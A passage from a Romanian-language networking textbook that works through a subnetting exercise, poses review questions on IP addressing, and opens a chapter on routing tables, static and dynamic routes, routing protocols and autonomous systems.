nu putem utiliza adresa de reea (cea n care toi biii de staie sunt 0) i nici adresa de difuzare
(cea n care toi biii de staie sunt 1), trebuie gsit cea mai mic putere a lui 2 ce genereaz
un numr cu cel puin doi mai mare dect numrul necesar. n cazul de fa, 2
6
-2 = 64 2 = 62
i 62 este mai mare dect 50, ceea ce nseamn c sunt necesari 6 bii pentru asigurarea
spaiului de adrese pentru reeaua din cmin. Prin folosirea a 6 bii din cei 8 disponibili, rezult
c pentru a defini subreeaua ne mai rmn 2 bii, adic prefixul noi subreele va fi /26. Adresa
de reea pentru reeaua din cmin este 210. 89. 32. 01 000000 /26, adic 210.89.32.64 /26.

Au mai rmas de definit reelele pentru laboratoare, cercetare i secretariat. Numrul
cel mai mare de staii este cel pentru reelele din laborator, 25 de staii. Vom proceda la fel ca
mai sus, alegnd numrul de bii necesar pentru definirea adreselor de staii. Acesta este 5 (2
5
-
2 = 30 i 30 > 25). Pentru reeaua din cmin am folosit una dintre cele 4 reele /26 pe care le-
am creat. Putem mpri o reea /26 n dou reele /27 prin extinderea mtii de reea cu un
bit. Spre exemplu, a treia reea /26 creat: 210. 89.32. 10 00000 /26, adic 210. 89.32. 128 /26
are 32-26 = 6 bii disponibili (neacoperii de masca de reea). Aceti bii pot fi mprii la
rndul lor (aa cum am fcut cu spaiul iniial) n bii de reea i bii de staie. Cum noi avem
nevoie de 5 bii pentru staii ntr-o reea de laborator, mai rmne un bit pentru subreea. Cu
un bit putem defini dou reele (2
1
, deoarece cu un bit putem reprezenta 2 valori). n
problema noastr, exact de dou reele a cte 25 de calculatoare este nevoie. Aadar,
mprim a treia reea /26 n 2 reele /27 i obinem cele dou reele pentru laboratoare:
210.89.32.10000000 /26 = 210.89.32.128 /26
210.89.32.10100000 /26 = 210.89.32.160 /26
Reeaua pentru departamentul de cercetare va conine 13 staii, iar cea pentru
secretariat 9. Cea mai mic putere a lui 2 care genereaz un numr mai mare cu cel puin 2
dect 13 este 4. La fel i pentru 9. nseamn c mai avem de creat 2 reele cu cte 4 bii pentru
definirea adreselor de staie.
Cea de-a patra reea /26 : 210.89.32. 11 000000, adic 210.89.32.192 are 6 bii
disponibili. Cu aceti bii trebuie s crem 2 reele cu maxim 14 staii. Putem alege s folosim
un singur bit pentru a extinde masca de reea i vom obine 2 reele iar cu cei 5 bii rmai
putem defini cte 2
5
2 = 30 de adrese de staie; sau, putem alege s extindem cu 2 bii masca
de reea, pentru a forma 4 subreele a cte 14 staii. n primul caz rmn adrese de staie
nefolosite, n al doilea caz rmn 2 subreele disponibile pentru alte utilizri. Dei problema nu
specific nici un fel de constrngeri n acest sens, vom alege s folosim 2 bii pentru subreea,
adic s mprim reeaua /26 n patru subreele /28 i s folosim 2 dintre ele pentru
departamentul de cercetare i secretariat. Pentru departamentul de cercetare alegem a 2-a
subreea din cele 4 create iar pentru secretariat pe a 3-a. Adresele celor dou reele vor fi:
210.89.32.11010000 /28 = 210.89.32.208 /28 Reeaua cercetare
210.89.32.11100000 /28 = 210.89.32.224 /28 Reeaua secretariat

3. n realitate, se poate aloca gateway-ului orice adres valid de staie, exist ns o convenie
de care bine s inem cont. Prin convenie, pentru gateway se folosete prima adres valid
de staie, adic, n cazul reelei din cmin, reprezentarea binar a lui 1 pe 6 bii (cinci de 0
urmai de un 1).
Adresa gateway-ului pentru reeaua din cmin:
210.89.32.01000001 /26 = 210.89.32.65 /26

4. Adresa de reea pentru reeaua destinat departamentului de cercetare este:
210.89.32.208 /28 = 210.89.32.11010000 /28
Adresa de difuzare este cea care are toi biii de staie sunt 1:
210.89.32.11011111 /28 adic 210.89.32.223 /28

130 | R e e l e L o c a l e

5. Adresa reelei utilizate de ctre secretariat este
210.89.32.224 /28 = 210.89.32.11100000 /28
Cu cei patru bii din zona de staie putem defini 16 adrese. ntruct nu putem folosi adresa de
reea i nici adresa de broadcast, rezult c rmn 14 adrese valide pentru staii. Acestea sunt:
210.89.32.11100001 /28 prima adres de staie
[...]
210.89.32.11101110 /28 ultima adres de staie
Cu alte cuvinte, adresele alocabile staiilor pentru secretariat sunt cele cuprinse n intervalul
de adrese 210.89.32.225 210.89.32.238

6. Considerm c primul laborator este cel cu adresa de reea 210.89.32.128 /26.
Cea de-a 5-a adres de staie este:
210. 89. 32.10000101 /26, adic 210.89.32.133 /26

131 | A d r e s a r e a I P

ntrebri
1. Care dintre adresele de mai jos reprezint o adres valid de staie:
150.100.2.8/25
177.1.1.192/26
195.3.15.8/22
200.1.1.63/27

2. Care dintre adresele de mai jos poate fi o adres de reea pentru prefixul /26?
209.110.19.64
230.14.3.0
120.4.77.196
89.13.13.26

3. Fie o reea local cu un switch, 3 staii i un router pentru conectarea la Internet.
Care este numrul maxim de intrri n tabela ARP a unei staii?
2
3
4
mai mare de 4

4. Din reteaua 192.64.12.0 /24 putem crea:
a) 62 de subretele a cate 2 statii?
b) 6 subretele a cate 30 de statii?
c) 8 subretele a cate 32 de statii?
d) 16 subretele cu cate 16 statii?
e) 14 subretele cu cate 14 statii?

5. Care dintre urmatoarele adrese IP sunt rutabile?
a) 142.2.16.79 /28
b) 150.12.180.40 / 29
c) 19.0.27.0 /20

6. Pentru adresa IP 196.36.44.12 /22
a) scrieti adresa de retea si adresa de broadcast
b) care este prima si ultima adresa asignabila din retea?
c) care este adresa urmatoarei retele?

7. Pentru adresa IP 196.36.44.12
a) identificati clasa de adrese din care face parte
b) scrieti adresa de retea si adresa de broadcast
c) care este prima si ultima adresa asignabila din retea?
d) care este adresa urmatoarei retele?

8. Fie spaiul de adrese 188.88.0.0 /23. Dac trebuie mprit n 10 subreele, care va
fi adresa celei de-a 29-a staii din cea de-a 5-a subreea?

132 | R e e l e L o c a l e

4 Rutarea n Internet
If you asked a hundred people walking down the street...I would bet you that 90 of them, if not
99 of them, would ask, 'What's a router?'
Stewart Wolpin
Ce se nva din acest capitol?
Ce este o tabel de rutare
Tipuri de rute folosite pentru rutarea traficului
Protocoale de rutare
Diferene ntre protocoalele de rutare i protocoalele rutate
Tipuri de protocoale de rutare
Configurarea rutrii n Linux
Configurarea rutrii n Windows
Cine este...
Len Bosack i Sandy Lerner sunt co-fondatory Cisco Systems. Bosack i Lerner sunt
creatorii primului router multi-protocol, dispozitiv care s-a dovedit un succes comercial.
n 1990, Bosack i Lerner au prsit Cisco i au vndut aciunile pentru o valoare
estimat de 170 de milioane de dolari.
4.1 Protocoale de rutare i protocoale rutate
4.1.1 Ce este Internetul?
Dei Internetul este un termen ntlnit la tot pasul n domeniul calculatoarelor, definiia sa
nu este foarte clar.
Ce este Internetul?
Un rspuns frecvent spune c Internetul este ansamblul tuturor reelelor interconectate.
Problema cu aceast definiie este c este o definiie descriptiv i, dei adevrat n cele din
urm, este n mare parte irelevant.
Dac un calculator nou este conectat la un alt calculator, va fi noul calculator parte din Internet?
Dac noul calculator are o plac de reea, atunci va avea i adres MAC, singura problem
fiind aceea de a face rost i de a atribui calculatorului o adres IP. O calitate important a
Internetului const n capacitatea calculatoarelor de a fi TCP/IP compliant, adic de a rula
stiva de protocoale TCP/IP i de a poseda o adres IP.
Internetul poate fi definit mai precis ca ansamblul global al tuturor reelelor
interconectate ce sunt TCP/IP compliant.
Dup cum s-a precizat, pentru a conecta dou calculatoare este nevoie de diverse
dispozitive de interconectare. Un astfel de dispozitiv este routerul. Routerul face posibil
scalabilitatea Internetului, i astfel chiar existena sa. Prin urmare, orice definiie relevant a
Internetului trebuie s porneasc mai degrab de la routere dect de la staii.
Odat cu dispozitivele de interconectare apar i numeroase protocoale. Privit din punctul
de vedere al funcionrii sale, Internetul este definit de simbioza a dou tipuri de protocoale
de nivel reea: protocoale de rutare i protocoale rutate.
Protocoalele de rutare sunt cele ce stabilesc regulile prin care informaiile despre reele
sunt schimbate ntre routere n scopul obinerii unei tabele de rutare adecvate topologiei.
133 | R u t a r e a n I n t e r n e t

Protocoalele rutate sunt acele protocoale responsabile pentru asigurarea unui mod de
identificare a entitilor ce particip n Internet prin stabilirea unei scheme de adresare ce
trebuie s asigure unicitatea i ierarhizarea adreselor.
4.1.2 Tabele de rutare
n capitolul Ethernet au fost prezentate tabelele de comutare precum i procesul de
decizie pentru switchuri. Tabela de comutare este o list de reguli, fiecare cuprinznd o parte
de identificare (matching) i una de aciune, n spe interfaa de ieire din switch (portul). n
partea de identificare se afl o adres MAC destinaie, iar n partea de aciune este precizat
una din interfeele switchului.
Datorit dimensiunii mult mai mari a Internetului acest mod de decizie a trebuit rafinat n
dou direcii: alegerea unei scheme de adresare ierarhice, pe de o parte, i implementarea
unor algoritmi ct mai performani de cutare i implicit de stocare a informaiilor, pe de alt
parte.
n ceea ce privete prima direcie, dei are o vrst venerabil, IPv4 ofer o schem de
adresare satisfctoare, dei puin flexibil. Prin urmare, IPv6 va trebui s ofere multe alte
avantaje pe lng extinderea lungimii adresei de la 32 la 128 de bii, pentru a reui s se
impun drept nlocuitorul lui IPv4. Cea de-a doua direcie este ndeplinit cu ajutorul unor
algoritmi de caching specifici dispozitivului de rutare i sistemului de operare asociat.
Similar cu switchul, routerul folosete o tabel de rutare pentru dirijarea pachetelor catre
destinaie. O intrare n tabela de rutare se mai numete i rut.
O rut este o regul ce cuprinde o parte de identificare i una de aciune. Partea de
identificare este compus din dou elemente: adresa reelei destinaie i masca acesteia, n
vreme ce partea de aciune poate fi exprimat prin ambele sau doar unul dintre urmtoarele
elemente: adresa urmtorului router (numit next hop address) i interfaa de ieire din router.
O tabel de rutare este o list de rute cu acces secvenial.
n figura de mai jos este prezentat o tabel de rutare. Important de remarcat este faptul
c, dei folosirea tabelei de rutare se face analiznd secvenial rutele ncepnd cu prima,
construcia tabelei se face prin inserarea unei noi rute n faa primei rute cu un prefix mai
scurt dect aceasta. Drept rezultat lungimea mtii de reea va scdea odat cu parcurgerea
tabelei de rutare. Altfel spus, informaiile referitoare la reelele mici se vor gsi naintea
informaiilor despre reelele mai mari.
Se mai poate observa c pentru unele rute este precizat doar adresa urmtorului router,
n vreme ce pentru altele doar interfaa de ieire. Dei adresa urmtorului hop este
ntotdeauna de ajuns pentru specificarea complet a unei rute, informaia despre interfaa de
ieire este insuficient n cazul n care aceast interfa este conectat la un mediu multiacces.
Astfel, dei o rut valid poate preciza doar interfaa de ieire n cazul unei legturi seriale (sau
orice alt legtur punct la punct), aceeai rut este considerat ambigu n cazul unei legturi
Ethernet, n acest al doilea caz fiind necesar precizarea adresei urmtorului hop.

Adres reea Masc Next hop Interfa
194.230.85.0 /26 172.17.0.9 E0
194.230.85.128 /26 - S0
194.230.85.0 /24 194.230.5.65 E1
194.230.86.0 /24 199.17.17.0 -
4-1: Tabel de rutare cu patru intrri
134 | R e e l e L o c a l e

Pentru a nelege mai uor modul de decizie a unui router se va presupune c un router cu
o tabel de rutare identic cu cea prezentat n figura de mai sus primete un pachet cu
adresa destinaie 194.230.85.66.
Din ntregul pachet singura informaie relevant pentru nivelul reea al unui router este
adresa logic destinaie. n primul rnd, routerul va trebui s determine dac nu este el
destinatarul acestui pachet, iar pentru aceasta va compara adresele logice ale tuturor
interfeelor sale active cu adresa destinaie a pachetului. Dac este destinatarul pachetului
atunci va trimite datele nivelurilor superioare.
n cazul n care routerul nu are nicio interfa activ cu aceeai adres ca cea a pachetului,
routerul va trece la pasul doi, ncercnd s determine dac destinaia se afl n aceeai reea
ca i sursa. Pentru aceasta va analiza adresa i masca interfeei pe care a primit pachetul n
cauz. Astfel va aplica masca asociat interfeei de intrare pe adresa interfeei urmnd ca
rezultatul s fie comparat cu rezultatul operaiei de i logic ntre aceeai masc de reea i
adresa destinaie. Dac cele dou rezultate coincid, routerul va ignora pachetul, altfel urmnd
s nceap procesul efectiv de rutare.
Prima rut din tabela de rutare va fi extras, iar rezultatul operaiei de i logic ntre
adresa destinaie i masca de reea cuprins n aceast rut va fi comparat cu adresa de reea.
n cazul n care cele dou valori coincid, antetul de nivel legtur de date al pachetului va fi
rescris (antetul de nivel reea rmnnd neschimbat) i pachetul va fi trimis ctre urmtorul
hop. Dac valorile difer, va fi extras urmtoarea rut pn la gsirea primei potriviri sau
pn la epuizarea rutelor, caz n care pachetul urmeaz s fie ignorat.
n cazul exemplului de fa, se presupune c pachetul cu destinaia 194.230.85.66 trebuie
rutat. Prima rut va aplica masca /26 adresei destinaie, rezultnd 194.230.85.64, valoare
diferit de 194.230.85.0. Nici a doua rut nu este potrivit pentru aceast destinaie, astfel
ajungndu-se la cea de a treia rut.
Aparent prima i a treia rut se refer la aceeai reea. La o privire mai atent mtile de
reea difer, astfel a treia rut se refer la un spaiu de adrese de patru ori mai mare dect
prima. n realitate, datorit caracterului secvenial al utilizrii tabelelor de rutare i a faptului
c primele dou rute se refer la dou sferturi din acelai spaiu de adrese, numrul de adrese
diferite ce vor folosi a treia rut va fi doar dublu (i nu de patru ori mai mare) dect numrul
de adrese ce vor folosi prima rut.
n urma aplicrii mtii /24 pentru adresa destinaie, rezult 194.230.85.0 i anume adresa
reelei destinaie din aceast rut. Pentru a putea trimite pachetul va trebui aflat adresa MAC
a urmtorului hop, i anume 194.230.5.65. n urma interogrii tabelei ARP sau a unei cereri
ARP, adresa MAC surs este rescris cu adresa MAC a interfeei E1, iar adresa MAC destinaie
este nlocuit cu adresa MAC corespunztoare urmtorului hop.
4.1.3 Clasificarea rutelor
Exist numeroase criterii de clasificare a rutelor. Unele criterii prezint o relevan redus
pentru Internetul secolului 21. Cteva dintre ele vor fi amintite totui, deoarece, n anii de
expansiune a Internetului, structurau nelegerea reelei globale.
La nceputul anilor 90 o rut nu coninea masca de reea, ntregul proces de rutare fiind
classfull. Astfel, o prim clasificare ar fi n funcie de tipul procesului de rutare, i anume rute
classfull sau rute classless. Odat cu trecerea timpului i cu creterea n popularitate a
adresrii classless tabelele de rutare au devenit classless chiar dac sunt alimentate uneori de
protocoale de rutare classfull (adic protocoale ce nu transmit i informaii despre masca de
reea), routerele urmnd s precizeze explicit masca de reea nainte de a introduce
informaiile n tabela de rutare.
135 | R u t a r e a n I n t e r n e t

n rutarea cu rute classfull procesul este diferit, i anume adresa destinaie extras din
antetul unui pachet ajuns la router va fi mai nti comparat cu 192, i n cazul n care e mai
mic de 192 va fi comparat cu 128, determinndu-se astfel clasa de adrese i implicit masca
de reea. Din acest punct procesul este similar cu cel din rutarea classless, adic se va efectua
o operaie de i logic ntre adresa destinaie i masca reelei, rezultatul urmnd a fi
comparat cu adresa de reea coninut n rut.
Odat cu rspndirea rutrii classless a aprut clasificarea rutelor n funcie de tipul
destinaiei. Astfel sunt rute de tip nod (sau rute host) i rute de tip reea. Rutele host conin
informaii doar despre o singur staie, adic masca de reea este /32. Odat cu creterea
Internetului, i implicit a dimensiunii tabelelor de rutare, a crescut i presiunea de a agrega ct
mai mult rutele, precum i a se renuna la rutele de tip nod. Cu toate acestea, datorit
modului de inserare a rutelor, i deci datorit promovrii rutelor de tip nod la nceputul tabelei
de rutare, acestea avnd prefixul maxim, rutele host mai sunt nc folosite pentru unele
optimizri de trafic, mai ales pe routerele de la periferia Internetului.
Al treilea criteriu de clasificare a rutelor este n funcie de modul de conectare, iar cele
dou tipuri de rute sunt: rutele direct conectate i rutele gateway (ctre reele distante).
Rutele direct conectate sunt rute ctre reele n care routerul n cauz are o interfa, i n
majoritatea cazurilor aceste rute sunt automat introduse n tabela de rutare de sistemul de
operare n momentul configurrii i activrii interfeei respective. Rutele direct conectate nu
conin, n general, adresa urmtorului hop, avnd specificat doar interfaa de ieire din
router. Astfel, rutele direct conectate sunt singurele rute valide care pot avea specificat ca
interfa de ieire o interfa multiaccess (gen Ethernet), fr a necesita precizarea adresei
urmtorului hop.
O a patra clasificare a rutelor se face n funcie de mediul de acces la reea, avnd astfel
rute pe medii punct la punct i rute pe medii multiacces. Rutele ctre o reea conectat pe o
legtur punct la punct pot fi specificate ori prin interfaa de ieire din router, ori prin adresa
urmtorului hop, ori prin ambele. Rutele pe medii multiacces sunt specificate doar prin adresa
urmtorului hop, interfaa de ieire nefiind suficient.
Din punctul de vedere al unui router, dou medii de transmisie acoper marea majoritate
a rutelor; altfel spus, dou tipuri anume de interfee sunt mult mai populare dect restul. Cele
dou tipuri de interfee sunt interfeele Ethernet i cele seriale. Ethernet permite transmisia
peste un mediu multiacces, n vreme ce interfaa serial este punct la punct. Alte interfee
punct la punct destul de rspndite sunt cele de fibr optic i cele ISDN.
Un tip special de rut este ruta implicit.
O ruta implicit (rut default) este ruta spre care se trimit toate pachetele pentru care nu
se cunoate o destinaie specific.
Altfel spus, ruta implicit este ruta care se potrivete cu toate destinaiile, avnd n partea
de adres de reea din rut un spaiu de adrese ce cuprinde toate adresele IP. Acest spaiu de
adrese este 0.0.0.0/0 i, dei deseori ruta implicit este denumit ca ruta cu 4 de zero sau
quad-zero route, caracteristica distinctiv a acestei rute se afl n masca de lungime zero.
Exist situaii n care pot exista mai multe rute implicite ntr-o tabel de rutare. n tabela
de rutare de mai jos, ultimele dou rute sunt dou rute implicite.
Adres reea Masc Next hop Interfa
......
0.0.0.0 /0 194.230.5.65 S0
0.0.0.0 /0 - S1
4-2: Tabel de rutare cu dou rute implicite
136 | R e e l e L o c a l e

Dac ambele rute apar n tabela de rutare, este evident c niciun pachet nu va ajunge s
fie prelucrat de cea de-a doua rut implicit, toate pachetele fiind acceptate de prima.
Dezactivarea unei interfee, ca urmare a nchiderii administrative sau a ntreruperii
legturii de nivel fizic sau de nivel legtur de date, are ca rezultat nlturarea tuturor rutelor
ce folosesc respectiva interfa ca interfa de ieire din router. Astfel, n absena celei de-a
doua rute implicite n cazul dezactivrii interfeei S0, toate pachetele care ar fi fost rutate prin
prima rut implicit ar urma s fie ignorate.
n concluzie, ntr-o tabel de rutare exist o singur rut implicit activ, dar pot fi
precizate mai multe rute default n scopuri de backup.
Ultima clasificare este i cea mai relevant n prezent. Pornind de la informaia pe baza
creia sunt construite rutele, distingem rutele statice de rutele dinamice. Aceast clasificare
se refer doar la rutele gateway, deoarece rutele direct conectate sunt introduse automat n
tabela de rutare.
4.1.4 Rute statice
Rutele statice sunt introduse manual de administratorul routerului, spre deosebire de
rutele dinamice care necesit configurarea unui protocol de rutare. O rut static va aprea n
tabela de rutare numai atunci cnd interfaa de ieire din router este configurat corect i
activat.
O limitare a folosirii rutelor statice este c schimbrile n topologia reelei trebuie cel mai
adesea s fie actualizate manual pe router de administrator. Dei exist modaliti de
minimizare a efectului schimbrilor n topologie, aceste procedee duc la mrirea dimensiunii
tabelei de rutare.
Pe de alt parte, orice protocol de rutare necesit o anumit lime de band pentru
actualizarea tabelelor de rutare. Odat primit, informaia de rutare trebuie prelucrat nainte
de a fi introdus n tabela de rutare, unele protocoale de rutare consumnd cantiti
semnificative de timp de procesor sau de memorie. Spre deosebire de rutarea dinamic,
rutarea static nu are cerine de lime de band, timp de procesor sau memorie (n afar de
memoria efectiv ocupat de tabela de rutare). Introducerea manual de informaii poate
prea o metod arhaic de administrare, dar, n cazul routerelor de la periferia Internetului,
rutarea static este adesea mai potrivit dect rutarea dinamic.
Multe dintre reelele de mici dimensiuni nu au o legtur redundant la Internet, astfel
nct specificarea legturii de Internet printr-o rut static sau dinamic sunt la fel de inutile n
cazul ntreruperii conexiunii.
n concluzie, rutele statice nu sunt o soluie depit de configurare a routerelor, iar
viitorul nu pare s anune nlocuirea rutrii statice cu rutarea dinamic. Rutarea static
continu s fie soluia optim pentru reelele cu un grad redus de complexitate sau pentru
reelele stub (reele cu o singur conexiune la Internet).
4.2 Protocoale rutate
Protocolul IP, prezentat ntr-un capitol anterior, este de fapt singurul protocol rutat folosit
n Internet ncepnd cu anii 2000. Cele dou protocoale rutate concurente pentru IP sunt
Apple Talk i IPX. Implementrile soluiilor de conectare peste Internet bazate pe aceste
protocoale sunt rare, dar cele dou protocoale rmn nc destul de folosite n reelele locale.


137 | R u t a r e a n I n t e r n e t

Dei Macintosh ocup 3,5% din piaa mondial de calculatoare personale, efortul pentru
susinerea soluiilor bazate pe Apple Talk n rndul marilor productori de echipamente de
reea s-a diminuat rapid, trecnd pe un plan colateral ncepnd cu anii `95.
IPX, n schimb, a fost mult vreme un competitor redutabil pentru IP. De fapt, competiia
dintre stiva de protocoale TCP/IP i SPX/IPX s-a tradus n limbajul reelelor locale de
calculatoare n competiia dintre Microsoft i Novell.
O discuie a avantajelor unuia dintre protocoale fa de cellalt poate ocupa destul spaiu.
n cele din urm, rspunsul la ntrebarea de ce IP, i nu IPX? ine mai degrab de raiuni de
marketing dect de raiuni tehnice.
Singura concuren real pentru protocolul IPv4 este protocolul IPv6, dar slaba sa
rspndire actual poate susine afirmaia c exist, de fapt, un singur protocol rutat n
Internet. Mai mult, migraia ctre IPv6 nu a nceput din nucleul Internetului pentru a se
propaga apoi spre reelele locale. n prezent exist reele locale IPv6 legate cel mai adesea prin
mecanisme de tunelare peste IPv4.
4.3 Protocoale de rutare
4.3.1 Determinarea cii optime
Protocoalele de rutare, uneori denumite i protocoale de rutare dinamic, au drept
obiectiv schimbarea informaiilor despre reelele cunoscute ntre routerele ce ruleaz acelai
protocol de rutare. Pe baza acestor informaii se construiesc rutele dinamice.
Routerele au cte o tabel de rutare pentru fiecare protocol rutat. Pentru un protocol
rutat dat informaiile oferite de toate protocoalele de rutare se regsesc ntr-o singur tabel.
Prin urmare, aceeai tabel de rutare va conine rutele direct conectate, rutele statice i cele
dinamice.
Un router poate rula unul sau mai multe protocoale de rutare, numrul protocoalelor de
rutare ce pot fi rulate fiind limitat n general de sistemul de operare sau de modelul routerului.
Un router Cisco, de exemplu, ruleaz n general pn la 30 de instane de protocoale de
rutare.
O problem care apare este c acelai protocol de rutare poate s furnizeze dou sau mai
multe rute ctre aceeai destinaie; pot, de asemenea, exista dou rute dinamice ctre aceeai
reea provenite din protocoale de rutare diferite.
Astfel, dei exist trei tipuri de rute, este necesar specificarea un mecanism de
comparare a rutelor ntre ele. Mai mult, trebuie ca toate rutele s fie ierarhizate. Cele dou
criterii de ierarhizare a rutelor sunt distana administrativ i metrica.
Distana administrativ este un numr ntre 0 i 255, asociat cu un tip de rut sau cu un
protocol de rutare, ce permite ierarhizarea protocoalelor de rutare.
Metrica unei rute este un numr, rezultat din aprecierea calitii unui drum spre o anumit
destinaie n raport cu un set de criterii. Metrica i setul de criterii sunt relevante pentru un
anumit protocol de rutare. Prin urmare, nu are sens compararea metricilor unor rute obinute
prin protocoale de rutare diferite.
Altfel spus, distana administrativ deosebete dou protocoale de rutare, n vreme ce
metrica deosebete dou rute ale aceluiai protocol de rutare. Rutele statice sunt singurele
rute pentru care distana administrativ poate fi schimbat.
Distanele administrative pentru unele dintre cele mai folosite protocoale de rutare sunt
precizate n tabelul de mai jos:

138 | R e e l e L o c a l e

Tip rut
Distana
administrativ
Direct conectat 0
Rut static 1
Rut agregat 5
BGP 20
EIGRP 90
IGRP 100
OSPF 110
IS-IS 115
RIP 120
ODR 160
iBGP 200
4-3: Valorile distanelor administrative
4.3.2 Clasificarea protocoalelor de rutare
Exist numeroase clasificri ale protocoalelor de rutare. n continuare vor fi prezentate
dou dintre acestea.
n vreme ce staiile sunt grupate n reele pentru a oferi o ierarhizare a spaiului de adrese,
reelele sunt grupate, la rndul lor, n colecii de reele aflate sub o administraie comun
numite sisteme autonome (AS). Astfel, o prim clasificare a protocoalelor de rutare se face n
protocoale de rutare inter-AS, folosite pentru schimbul informaiilor de rutare ntre sisteme
autonome diferite i protocoale de rutare intern, adic protocoale folosite n cadrul aceluiai
sistem autonom.
Cea de-a doua clasificare a protocoalelor de rutare se refer doar la clasificarea
protocoalelor de rutare intern, n funcie de modul de schimbare a informaiei de rutare. Cele
trei clase n care sunt mprite protocoalele de rutare intern sunt: protocoale bazate pe
vectori de distan (distance-vector protocols), protocoale bazate pe starea conexiunii (link-
state protocols) i protocoale hibride.
Cea de a treia categorie de protocoale de rutare intern mbin caracteristici ale
protocoalelor bazate pe vectori de distan cu unele caracteristici ale protocoalelor bazate pe
starea conexiunii. Aceast nou categorie este folosit pentru a clasifica protocoalele ce nu
pot face parte din niciuna dintre primele dou categorii, astfel c, n cele ce urmeaz, vor fi
prezentate doar protocoalele distance-vector i link-state.
4.3.3 Protocoale distance-vector
Pentru protocoalele de tip distance-vector calculul drumului optim se face pe baz de
direcie (indicat de obicei prin precizarea interfeei) i distana pn la destinaie folosind
direcia respectiv. Informaiile de rutare se schimb numai ntre routerele nvecinate, la
intervale periodice. Aceasta rezult ntr-un timp de convergen mare, adic schimbrile
aprute n topologia reelei se propag destul de greu ctre rutele mai ndeprtate de locul
apariiei modificrii n cauz.
Cele mai populare protocoale de rutare bazate pe vectori de distan sunt RIP
1
i IGRP,
acestea fiind uor de configurat i consumnd resurse de lime de band i timp de procesor
foarte reduse.

1
http://tools.ietf.org/html/rfc1058
139 | R u t a r e a n I n t e r n e t

RIP folosete drept metric numrul de hopuri sau routere pn la reeaua destinaie.
Pentru a se evita efectele negative ale buclelor logice a fost stabilit o metric maxim, astfel
nct orice informaie despre o rut cu o metric mai mare de 15 este ignorat.
Actualizrile se fac transmind toate informaiile de rutare i nu doar cele ce s-au
modificat de la ultima actualizare, dar sunt trimise folosindu-se adrese de difuzare. Prin
urmare, pachetele de actualizare vor ajunge doar la routerele adiacente, deoarece n mod
implicit routerele filtreaz pachetele de broadcast.
Actualizrile se fac implicit la 30 de secunde, acest timp reprezentnd un compromis ntre
timpul de convergen i cantitatea de band utilizat pentru actualizri. Astfel, timpul de
convergen la RIP n cel mai defavorabil caz este de 7 minute jumtate (15 hopuri), calificnd
RIP n categoria protocoalelor de rutare intern cu o convergen sczut. n msura n care se
impune un timp de convergen mai mic, perioada de actualizare poate fi redus, ducnd ns
la un consum mai ridicat de lime de band.
Fiecare router ce primete un pachet de actualizare va incrementa metrica fiecrei rute
coninute n pachet cu 1, deoarece rutele coninute n pachet i sunt accesibile prin
intermediul unui hop suplimentar, i anume routerul ce a trimis pachetul de actualizare. Apoi,
pentru fiecare dintre rutele din pachetul de actualizare, va ncerca s determine dac nu exist
deja o rut cu o metric mai bun ctre aceeai destinaie n tabela de rutare.
4.3.4 Protocoale link state
Protocoalele de tip link-state (bazate pe starea conexiunii) construiesc o baz de date cu
ntreaga topologie a reelei i calculeaz drumul cel mai scurt pe baza unui algoritm de tip
Dijkstra (SPF - shortest path first).
Astfel, pentru actualizarea tabelelor de rutare se trimite ntr-o prim etap ntreaga tabel
de rutare ctre toate routerele ce ruleaz acelai protocol de rutare, aceasta realizndu-se
prin folosirea n cmpul destinaie a unei adrese logice de multicast specifice fiecrui protocol
n parte. Dup aceast etap de trimitere a tuturor informaiilor, numit i flooding,
actualizrile se vor efectua doar la apariia unei schimbri n topologie, iar pachetele de
actualizare vor conine doar informaii despre rutele modificate, acest metod de actualizare
numindu-se actualizare incremental.
Principala problem a acestor tipuri de protocoale este c fiecare dintre routere va trebui
s construiasc arborele topologic, i apoi s extrag rutele ca drumuri optime n acest arbore.
Acest proces necesit resurse de memorie i procesor semnificative. n plus, efortul
configurrii unui protocol bazat pe starea conexiunii este adesea mult mai mare dect cel
necesar pentru a configura un protocol bazat pe vectori de distan.
Cu toate acestea timpul de convergen pentru protocoalele link-state este semnificativ
mai redus dect pentru protocoalele distance-vector. Aceasta se datoreaz iniierii procesului
de actualizare odat cu apariia modificrilor n topologie, precum i folosirii adresrii
multicast, i deci a propagrii informaiilor de actualizare n ntreaga reea.
4.4 Sisteme autonome
4.4.1 Ce este un sistem autonom?
Dat fiind dimensiunea Internetului, toate protocoalele rutate trebuie s suporte o
schem de adresare ierarhic. Cu toate acestea, la ora actual exist zeci de milioane de
reele, astfel nct un router din nucleul Internetului ar avea o tabel de rutare uria.
n realitate, n plus fa de cele dou niveluri de ierarhizare aduse de protocolul rutat,
reelele sunt grupate n sisteme autonome sau AS (autonomous systems).
140 | R e e l e L o c a l e

Un sistem autonom este o colecie de routere aflate sub o administraie comun.
O administraie comun se refer la un set comun de protocoale de rutare, un set de
politici de securitate i de criterii de decizie. O caracteristic important a unui AS este faptul
c orice ISP, pentru a putea activa n Internet, trebuie s se afilieze unui sistem autonom.
Un sistem autonom este identificat printr-un numr AS denumit i adres AS. Acest
numr poate fi cuprins ntre 1 i 65.535, cu toate c ultimul segment al acestui spaiu de
adrese, i anume numerele ntre 64.512 i 65.535, sunt rezervate pentru uz privat, similar
claselor de adrese IP private.
Atribuirea unui numr AS se face de IANA (Internet Assigned Numbers Authority). Preul
de 100 USD este nesemnificativ, dar costul real pentru un ISP ine de birocraia obinerii
adresei. Procedura de justificare a unui numr AS face imposibil obinerea unui numr AS de
ISP-urile mici i medii. Singura opiune pentru acestea este de a intra ntr-un AS deja existent i
de a accepta regulile i politicile de securitate i rutare ale acestuia.
4.4.2 Protocoale de rutare inter-AS
Odat cu gruparea reelelor n sisteme autonome a aprut i problema dezvoltrii de
protocoale care s fac fa cerinelor rutrii ntre AS-uri. n acest scop s-a definit clasificarea
protocoalelor n protocoale de tip IGP (Interior Gateway Protocol) i protocoale de tip EGP
(Exterior Gateway Protocol). IGP sunt protocoalele de rutare interioare unui sistem autonom,
iar EGP sunt protocoalele de rutare exterioare unui AS, sau, altfel spus, protocoale de rutare
inter-AS.
Prima i cea mai important cerin pentru un protocol de tip EGP este de a face fa unor
tabele de rutare semnificativ mai mari dect orice se poate ntlni n interiorul unui AS. O
tabel de Internet actual care este schimbat ntre dou routere de grani din sisteme
autonome diferite cuprinde aproximativ 180.000 de rute.
A doua cerin este cea de flexibilitate. Dei unele dintre protocoalele interne folosesc
pn la cinci factori pentru determinarea metricii, folosirea unei formule pentru determinarea
costului unei rute nu ofer un grad suficient de flexibilitate. Procesul complet de comparare a
dou sau mai multe rute pentru BGPv4, spre exemplu, este un algoritm cu 13 pai.
